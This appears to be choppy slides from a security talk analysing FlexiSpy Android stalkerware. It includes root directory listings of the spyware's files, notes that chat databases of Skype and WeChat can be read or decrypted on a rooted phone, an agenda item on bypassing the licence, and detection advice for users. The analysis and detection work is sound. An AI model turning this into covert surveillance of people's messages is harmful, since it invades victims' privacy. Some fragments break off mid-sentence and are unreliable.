- Generally, in IM software on mobile device the chat messages are stored as database file. Some databases might not be encrypted like Skype app, it's easy to execute some SQL queries to gain the sensitive info related to chat message after rooting the android device. Other databases might be encrypted like WeChat app, it seems that it's more secure, but the private key is still calculated via reversing engineering the IM app. Once the private key is got, you can decrypt the database using it.



## Summary

- Even when I uninstalled FlexiSpy for android app (package: com.flexispyspy) activity is always ongoing. I tested Skype and WeChat app after “com.android.systemupdate”, it’s still successful to monitor the
- The working directory of FlexiSpy is /data/misc/adn/. The file fx.log in the directory android.
- For normal users, if you found the file fx.log in the directory /data/misc/adn/ of android device is being spied by FlexiSpy for android, you can uninstall FlexiSpy.

- Uninstall
- Remote
- /system
- Remote

```
root@hammerhead:/data/dalvik-cache # ls -l
-rw-r--r-- system all_a14 10866064 2017-05-16 23:11 data@app@com.android.vending-1.apk@classes.dex
-rw-r--r-- system all_a7 5474536 2017-05-16 23:08 data@app@com.google.android.gms-1.apk@classes.dex
-rw-r--r-- system all_a62 7375568 2017-05-16 23:12 data@app@com.google.android.play.games-1.apk@classes.dex
-rw-r--r-- system all_a77 10102768 2017-05-16 23:12 data@app@com.skype.raider-1.apk@classes.dex
-rw-r--r-- system all_a78 15315696 2017-05-17 05:55 data@app@com.tencent.mm-1.apk@classes.dex
-rw-r--r-- system all_a76 320128 1970-09-13 13:54 data@app@de.robv.android.xposed.installer-1.apk@classes.dex
-rw-r--r-- root root 322376 2017-05-16 00:36 data@data@de.robv.android.xposed.installer@bin@XposedBridge.jar@classes.dex
-rw-r--r-- radio 957464 2017-05-16 00:42 data@misc@adn@callmgr.zip@classes.dex
-rw-r--r-- root 957464 2017-05-16 00:42 data@misc@adn@callmon.zip@classes.dex
-rw-r--r-- root 6136944 2017-05-16 23:00 data@misc@adn@maind.zip@classes.dex
-rw-r--r-- root 669944 2017-05-16 00:42 data@misc@adn@pmond.zip@classes.dex
-rw-r--r-- system 798160 2017-05-16 00:42 data@misc@adn@psysd.zip@classes.dex
-rw-r--r-- root 435624 2017-05-16 00:44 data@misc@adn@ticket.apk@classes.dex
-rw-r--r-- system all_a24 16600 1970-09-13 13:29 system@app@BasicDreams.apk@classes.dex
-rw-r--r-- system u0_a31002 803896 1970-09-13 13:29 system@app@Bluetooth.apk@classes.dex
-rw-r--r-- system all_a25 5069320 1970-09-13 13:29 system@app@Books.apk@classes.dex
```

```
root@hammerhead:/data/misc/adn # ls -l
total 100220
-rw-rw-rw- root root 20784 2017-05-16 00:42 5002
-rw-rw-rw- root root 535585 2017-05-16 00:40 Camera.apk
-rw-rw-rw- root root 4268 2017-05-16 00:40 Xposed-Disabler-Recovery.zip
-rw-rw-rw- root root 4367 2017-05-16 00:40 Xposed-Installer-Recovery.zip
-rw-rw-rw- root root 98482 2017-05-16 00:40 XposedBridge.jar
-rw-rw-rw- root root 423 2017-05-16 00:43 app_container_info.dat
-rwxrwxrwx root root 2017-05-16 00:42 arm64-v8a
-rw-rw-rw- root root 22732 2017-05-16 00:40 arm_app_process_xposed_sdk15
-rw-rw-rw- root root 21980 2017-05-16 00:40 arm_app_process_xposed_sdk16
-rw-rw-rw- root root 5520 2017-05-16 00:40 arm_xposedtest_sdk15
-rw-rw-rw- root root 5372 2017-05-16 00:40 arm_xposedtest_sdk16
-rw-rw-rw- root root 237208 2017-05-16 00:41 aud.zip
-rw-rw-rw- root root 5 2017-05-24 22:57 audio.ref
-rw-rw-rw- root root 5 2017-05-24 22:57 browserurl.ref
-rw-rw-rw- root root 353884 2017-05-16 00:41 bugd.zip
-rwxrwxrwx root root 1937480 2017-05-16 00:41 busybox
-rw-rw-rw- root root 5 2017-05-24 22:56 calllog.ref
-rw-rw-rw- root root 353884 2017-05-16 00:41 callmgr.zip
-rw-rw-rw- root root 170 2017-05-16 00:42 callmgrd
-rw-rw-rw- root root 353884 2017-05-16 00:41 callmon.zip
-rw-rw-rw- root root 170 2017-05-16 00:42 callmond
-rw-rw-rw- root root 5 2017-05-24 22:57 chrome.ref
-rw-rw-rw- root root 34251340 2017-05-16 00:40 com.android.systemupdate-1.apk
-rw-rw-rw- root root 2017-05-24 23:51 com.tencent.mm
-rw-rw-rw- root root 6021 2017-05-24 23:02 connection_history.dat
-rw-rw-rw- root root 20480 2017-05-24 23:02 ddmngr.db
-rw-rw-rw- root root 12824 2017-05-24 23:02 ddmngr.db-journal
-rw-rw-rw- root root 22 2017-05-16 00:43 device_id
-rw-rw-rw- root root 1 2017-05-22 16:14 disable
-rw-rw-rw- root root 136600 2017-05-16 00:41 dwebp
-rw-rw-rw- root root 202464 2017-05-16 00:41 dwebp64
-rw-rw-rw- root root 610304 2017-05-24 23:00 events.db
-rw-rw-rw- root root 49760 2017-05-24 23:00 events.db-journal
-rw-rw-rw- root root 77 2017-05-16 23:00 facebook.ref
-rw-rw-rw- root root 5 2017-05-24 22:57 facebook_calllog.ref
-rwxrwxrwx root root 18439556 2017-05-16 00:41 ffmpeg
-rw-rw-rw- root root 12750 2017-05-24 22:57 finsky.xml
-rw-rw-rw- root root 26512395 2017-05-24 23:56 fx.log
-rw-rw-rw- root root 5 2017-05-24 22:56 generic_gmail.ref
-rw-rw-rw- root root 10266016 2017-05-16 00:41 gesture_hash.zip
-rw-rw-rw- root root 5 2017-05-24 22:56 gmail.ref
-rw-rw-rw- root root 77 2017-05-17 05:52 hangouts.ref
-rw-rw-rw- root root 77 2017-05-16 23:01 hike.ref
-rw-rw-rw- root root 5 2017-05-24 22:57 image.ref
-rw-rw-rw- root root 77 2017-05-16 23:01 instagram.ref
-rw-rw-rw- root root 5 2017-05-24 22:56 integrated_email.ref
-rw-rw-rw- root root 77 2017-05-16 23:01 kik.ref
-rw-rw-rw- root root 275716 2017-05-16 00:41 libaac.so
-rw-rw-rw- root root 124108 2017-05-16 00:41 libaacm.so
-rw-rw-rw- root root 399712 2017-05-16 00:41 libasound.so
-rw-rw-rw- root root 899784 2017-05-16 00:41 libcrypto_32bit.so
-rw-rw-rw- root root 70616 2017-05-16 00:41 libflac.so
-rw-rw-rw- root root 70664 2017-05-16 00:41 libflacconfig.so
-rw-rw-rw- root root 70664 2017-05-16 00:41 libflgconfig.so
-rw-rw-rw- root root 70664 2017-05-16 00:41 libflmconfig.so
-rw-rw-rw- root root 70664 2017-05-16 00:41 libflsamsungconfig.so
-rw-rw-rw- root root 70664 2017-05-16 00:41 libflsonyconfig.so
-rw-rw-rw- root root 13544 2017-05-16 00:41 libfxexec.so
-rw-rw-rw- root root 9364 2017-05-16 00:41 libfxrill.so
-rw-rw-rw- root root 590584 2017-05-16 00:41 libfxmessages.8.so
-rw-rw-rw- root root 66868 2017-05-16 00:41 libfxwebp.so
-rw-rw-rw- root root 26088 2017-05-16 00:41 libkma.so
-rw-rw-rw- root root 13460 2017-05-16 00:41 libkmb.so
-rw-rw-rw- root root 136452 2017-05-16 00:41 liblame.so
-rw-rw-rw- root root 136464 2017-05-16 00:41 libmp3lame.so
-rw-rw-rw- root root 386244 2017-05-16 00:41 libsqliteX.so
-rw-rw-rw- root root 210540 2017-05-16 00:41 libvcap.so
-rw-rw-rw- root root 77 2017-05-16 23:00 line.ref
-rw-rw-rw- root root 160 2017-05-16 00:42 maind
-rw-rw-rw- root root 2093812 2017-05-16 22:50 maind.zip
-rw-rw-rw- root root 2017-05-16 00:41 mixer
-rw-rw-rw- root root 5 2017-05-24 22:57 mms.ref
-rw-rw-rw- root root 95 2017-05-24 22:56 network_type.ref
-rwxrwxrwx root root 1127104 2017-05-16 00:41 panzer
-rw-rw-rw- root root 28672 2017-05-24 23:02 phoenix_db.db
-rw-rw-rw- root root 12824 2017-05-24 23:02 phoenix_db.db-journal
-rw-rw-rw- root root 161 2017-05-16 00:42 pmond
-rw-rw-rw- root root 237584 2017-05-16 00:41 pmond.zip
-rw-rw-rw- root root 4618 2017-05-16 01:01 preferences.dat
-rw-rw-rw- root root 160 2017-05-16 00:42 psysd
-rw-rw-rw- root root 280111 2017-05-16 00:41 psysd.zip
-rw-rw-rw- root root 4608 2017-05-24 23:47 push_connection_history.dat
-rw-rw-rw- root root 146 2017-05-16 23:01 qq.ref
-rwxrwxrwx root root 2017-05-22 16:14 skype
-rw-rw-rw- root root 77 2017-05-24 23:00 skype.ref
-rw-rw-rw- root root 5 2017-05-24 22:57 skype_calllog.ref
-rw-rw-rw- root root 5 2017-05-24 22:56 sms.ref
-rw-rw-rw- root root 77 2017-05-16 23:01 snapchat.ref
-rw-rw-rw- root root 398 2017-05-24 22:56 system_url.dat
-rw-rw-rw- root root 77 2017-05-16 23:01 telegram.ref
-rw-rw-rw- root root 178053 2017-05-16 00:41 ticket.apk
-rw-rw-rw- root root 77 2017-05-16 23:01 tinder.ref
-rw-rw-rw- root root 28784 2017-05-16 00:41 vdaemon
```

## Agenda

- Background
- First Installation of the Spy App
- Startup Script
- Workflow of Product Activation
- How to Bypass License
- Two Spy cases on Skype and WeChat
- Summary
- Reference



## Reference

- <https://github.com/Te-k/flexidie>
- <http://www.cybermerchantsofdeath.com/blog/2017/04/23/FlexiSpy.html>
- <http://www.cybermerchantsofdeath.com/blog/2017/04/23/FlexiSpy-pt2.html>

# Thank You!

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**The full detailed analysis paper has almost 70 pages and will be released after conference.**